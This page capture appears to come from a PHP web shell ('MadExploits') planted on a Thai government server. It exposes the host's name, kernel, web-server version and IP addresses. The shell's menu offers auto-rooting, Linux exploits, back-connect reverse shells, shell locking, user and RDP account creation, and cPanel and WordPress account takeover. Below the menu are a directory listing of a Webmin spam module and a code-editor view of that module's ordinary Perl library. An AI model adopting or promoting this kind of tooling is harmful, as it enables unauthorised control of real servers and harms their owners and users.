Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
spam /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
2.12
KB
-rw-r--r--
acl_security.pl
1.69
KB
-rwxr-xr-x
apply.cgi
229
B
-rwxr-xr-x
backup_config.pl
890
B
-rwxr-xr-x
cgi_args.pl
189
B
-rwxr-xr-x
config
236
B
-rw-r--r--
config-debian-linux
246
B
-rw-r--r--
config-freebsd
288
B
-rw-r--r--
config-pardus-linux
224
B
-rw-r--r--
config-syno-linux
277
B
-rw-r--r--
config.info
1.43
KB
-rw-r--r--
config.info.ca
1.64
KB
-rw-r--r--
config.info.ca.UTF-8
1.66
KB
-rw-r--r--
config.info.cz
1.32
KB
-rw-r--r--
config.info.cz.UTF-8
1.41
KB
-rw-r--r--
config.info.de
1.73
KB
-rw-r--r--
config.info.de.UTF-8
1.73
KB
-rw-r--r--
config.info.el
637
B
-rw-r--r--
config.info.es
482
B
-rw-r--r--
config.info.es.UTF-8
482
B
-rw-r--r--
config.info.fr
502
B
-rw-r--r--
config.info.fr.UTF-8
502
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
1.45
KB
-rw-r--r--
config.info.nl.UTF-8
1.45
KB
-rw-r--r--
config.info.no
1.43
KB
-rw-r--r--
config.info.no.UTF-8
1.43
KB
-rw-r--r--
defaultacl
71
B
-rw-r--r--
delete_awl.cgi
1.17
KB
-rwxr-xr-x
deleteall_awl.cgi
806
B
-rwxr-xr-x
deleteone_awl.cgi
560
B
-rwxr-xr-x
edit_amavisd.cgi
4.85
KB
-rwxr-xr-x
edit_awl.cgi
3.54
KB
-rwxr-xr-x
edit_db.cgi
3.17
KB
-rwxr-xr-x
edit_header.cgi
4.21
KB
-rwxr-xr-x
edit_manual.cgi
1.06
KB
-rwxr-xr-x
edit_priv.cgi
1.2
KB
-rwxr-xr-x
edit_procmail.cgi
1.87
KB
-rwxr-xr-x
edit_report.cgi
4.23
KB
-rwxr-xr-x
edit_score.cgi
3.18
KB
-rwxr-xr-x
edit_setup.cgi
1.57
KB
-rwxr-xr-x
edit_simple.cgi
1.5
KB
-rwxr-xr-x
edit_user.cgi
2.76
KB
-rwxr-xr-x
edit_white.cgi
4.38
KB
-rwxr-xr-x
index.cgi
5.18
KB
-rwxr-xr-x
install_check.pl
423
B
-rwxr-xr-x
langs
718
B
-rw-r--r--
locales
69
B
-rw-r--r--
log_parser.pl
329
B
-rwxr-xr-x
module.info
197
B
-rw-r--r--
module.info.ca
114
B
-rw-r--r--
module.info.ca.UTF-8
126
B
-rw-r--r--
module.info.cz
35
B
-rw-r--r--
module.info.cz.UTF-8
42
B
-rw-r--r--
module.info.de
141
B
-rw-r--r--
module.info.de.UTF-8
153
B
-rw-r--r--
module.info.es
40
B
-rw-r--r--
module.info.es.UTF-8
46
B
-rw-r--r--
module.info.fr
40
B
-rw-r--r--
module.info.fr.UTF-8
46
B
-rw-r--r--
module.info.hu
38
B
-rw-r--r--
module.info.hu.UTF-8
47
B
-rw-r--r--
module.info.ms_MY
144
B
-rw-r--r--
module.info.ms_MY.UTF-8
156
B
-rw-r--r--
module.info.nl
34
B
-rw-r--r--
module.info.nl.UTF-8
40
B
-rw-r--r--
module.info.no
35
B
-rw-r--r--
module.info.no.UTF-8
41
B
-rw-r--r--
save_amavisd.cgi
2.54
KB
-rwxr-xr-x
save_db.cgi
1.87
KB
-rwxr-xr-x
save_header.cgi
2.99
KB
-rwxr-xr-x
save_manual.cgi
727
B
-rwxr-xr-x
save_priv.cgi
879
B
-rwxr-xr-x
save_procmail.cgi
1.75
KB
-rwxr-xr-x
save_report.cgi
2.07
KB
-rwxr-xr-x
save_score.cgi
2.05
KB
-rwxr-xr-x
save_simple.cgi
2.75
KB
-rwxr-xr-x
save_user.cgi
1.64
KB
-rwxr-xr-x
save_white.cgi
2.1
KB
-rwxr-xr-x
setup.cgi
2.71
KB
-rwxr-xr-x
spam-amavis-lib.pl
2.72
KB
-rwxr-xr-x
spam-lib.pl
27.95
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spam-amavis-lib.pl
# spam-amavis-lib.pl BEGIN { push(@INC, ".."); }; use WebminCore; use Fcntl; &init_config(); # get_amavis_config() # Parse and return the amavisd config file sub get_amavis_config { local(@rv, $line); open(CONF, $config{'amavisdconf'}); while(<CONF>) { s/\r|\n//g; if (/^\s*#|^\s*$/) { $line++; next; } if (/^\s*\$(\S+)\s*=\s*"(.*)";/ || /^\s*\$(\S+)\s*=\s*'(.*)';/) { # STRING config option push(@rv, { 'name' => $1, 'value' => &perl_unescape($2), 'line' => $line, 'eline' => $line }); } elsif (/^\s*\$(\S+)\s*=\s*(.*);/) { # VALUE or computed config option push(@rv, { 'name' => $1, 'value' => $2, 'computed' => 1, 'line' => $line, 'eline' => $line }); } # ignore multiline options for now .... $line++; } close(CONF); return \@rv; } # amavis_check_value(value, numeric) # check if value is ok or not sub check_amavis_value { if ($_[1] && $_[1] eq "*") { return $_[0] =~ m/^[0-9\.\,\*\-\+\/]+$|undef/; } return 1; } # save_amavis_directive(&config, name, value, multiline) # Update some directive in the global config file sub save_amavis_directive { local ($c,$n,$v,$m) = @_; local $old = &amavis_find($n, $c); local $lref = &read_file_lines($config{'amavisdconf'}); if (!$old) { pop(@$lref); push(@$lref, "# new config added by webmin"); if (&check_amavis_value($v, 1)) { push(@$lref, "\$$n = $v;"); } else { push(@$lref, "\$$n = \"$v\";"); } push(@$lref, "1;"); return; } local $olen = $old->{'eline'} - $old->{'line'} + 1; local $pos = $old->{'line'}; $v =~ s/\n$//; $v =~ s/\@/\\@/g; if ($old->{'computed'} && $v ne "*") { splice(@$lref, $pos, $olen, "\$$n = $v; # modified by webmin"); } else { splice(@$lref, $pos, $olen, "\$$n = \"$v\"; # modified by webmin"); } } # amavis_find(name, &array) sub amavis_find { local($c, @rv); foreach $c (@{$_[1]}) { if ($c->{'name'} eq $_[0]) { push(@rv, $c); } } return @rv ? wantarray ? @rv : $rv[0] : wantarray ? () : undef; } # amavis_find_value(name, &array) sub amavis_find_value { local(@v); @v = &amavis_find($_[0], $_[1]); @v = grep { !$_->{'computed'} } @v; if (!@v) { return undef; } elsif (wantarray) { return map { $_->{'value'} } @v; } else { return $v[0]->{'value'}; } } # perl_unescape(string) # Converts a string like "hello\@there\\foo" to "hello@there\foo" sub perl_unescape { local $v = $_[0]; $v =~ s/\\(.)/$1/g; return $v; } # perl_var_replace(string, &config) # Replaces variables like $foo in a string with their value from # the config file sub perl_var_replace { local $str = $_[0]; local %donevar; while($str =~ /\$([A-z0-9\_]+)/ && !$donevar{$1}) { $donevar{$1}++; local $val = &amavis_find_value($1, $_[1]); $str =~ s/\$([A-z0-9\_]+)/$val/; } return $str; } 1;
Close